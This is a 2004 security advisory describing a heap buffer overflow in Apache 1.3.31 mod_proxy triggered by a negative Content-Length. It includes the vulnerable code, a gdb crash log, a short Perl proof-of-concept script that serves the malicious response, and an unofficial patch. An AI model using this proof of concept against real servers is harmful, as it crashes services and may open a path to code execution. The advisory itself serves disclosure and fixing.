Buffer overflow in apache mod_proxy,yet still apache much better than windows

cyrillic logo
Home
Security
Internet Explorer
Windows 2000
AIX
Netscape
Misc
Other
Links
Services
In the news
Random stuff
Contact
guninski@guninski.com

Georgi Guninski security advisory #69, 2004

Buffer overflow in apache mod_proxy,yet still apache much better than windows

Systems affected:
modproxy from apache 1.3.31 and earlier

Risk:  Unknown - at least a crash, exploitability unknown
Date: 10 June 2004

Legal Notice:
This Advisory is Copyright (c) 2004 Georgi Guninski.
You  may  not  modify    it   and   distribute    it   or   distribute   parts of it without the author's written permission - this especially  applies  to so called "vulnerabilities databases"  and  securityfocus,  microsoft,    cert and mitre.
If   you   want    to     link     to    this    content      use     the    URL:
http://www.guninski.com/modproxy1.html
Anything in this document may change without notice.

Disclaimer:
The  information  in  this  advisory  is  believed   to   be   true   though it may be false.
The opinions  expressed  in  this  advisory  and  program  are    my  own and not   of   any     company.    The   usual   standard   disclaimer    applies, especially the fact that Georgi Guninski  is  not  liable  for    any  damages caused by direct  or  indirect    use  of  the  information  or  functionality provided  by  this  advisory  or  program.    Georgi Guninski   bears   no responsibility for  content  or  misuse  of  this  advisory  or  program  or any derivatives thereof.

Description:

There is a buffer overflow in modproxy. It is heap based memcpy with negative size.

Details:

The problem is in proxy_util.c:
 n = ap_bread(f, buf, MIN((int)buf_size,
                          (int)(len - total_bytes_rcvd)));


clearly len can be negative.
ap_bread leads to memcpy.

Exploitation is unknown, but at least Freebsd 5.2.1 seems promising.
The freebsd memcpy implementation copies backwards in this case, which means that by playing with len it is possible to do copy from X to X+K where K seems indepedent of len and X is about half the address space on x86.
Apache does some code execution after SEGV, which may be another exploit vector.

Some of the apache guys believe this bug is not exploitable, but they didn't give a proof.

To reproduce make apache fetch the output of pro3.pl.
log from freebsd 5.2.1:

Program received signal SIGSEGV, Segmentation fault.
0x281c0113 in memcpy () from /lib/libc.so.5
(gdb) info stack
#0  0x281c0113 in memcpy () from /lib/libc.so.5
#1  0x00000000 in ?? ()
(gdb) p/x $esi
$1 = 0xbbbffffe
(gdb) p/x $edi
$3 = 0xbbc05424
(gdb) x/i $eip
0x281c0113 <memcpy+67>: repz movsl %ds:(%esi),%es:(%edi)


---pro3.pl------
#!/usr/bin/perl

# copyright Georgi Guninski
# cannot be used in vulnerabilities databases an CVE - especially
# securityfocus and mitre

print "HTTP/1.1 200 MSUX\r\n";
my $sta= -1213253396 ;
print "Content-Length: " . $sta ."\r\n";
print "\r\n";
print "v" x 33000;

----------------

Fix:

Unofficial fix from me, use at your risk.
-------------------------------------
diff -u apache_1.3.31/src/modules/proxy/proxy_util.c apache_1.3.31my/src/modules/proxy/proxy_util.c
--- apache_1.3.31/src/modules/proxy/proxy_util.c        Tue Feb 17 23:52:22 2004
+++ apache_1.3.31my/src/modules/proxy/proxy_util.c      Tue Jun  8 11:24:15 2004
@@ -545,8 +545,8 @@
                 n = ap_bread(f, buf, buf_size);
             }
             else {
-                n = ap_bread(f, buf, MIN((int)buf_size,
-                                         (int)(len - total_bytes_rcvd)));
+                n = ap_bread(f, buf, MIN((size_t)buf_size,
+                                         (size_t)(len - total_bytes_rcvd)));
             }
         }

-------------------------------------

Workaround:
disable modproxy

Vendor status:
security@apache.org are aware of the bug

Georgi Guninski
http://www.guninski.com



 
 

| Home | Internet Explorer | Windows 2000 | AIX | Netscape | Links | More... |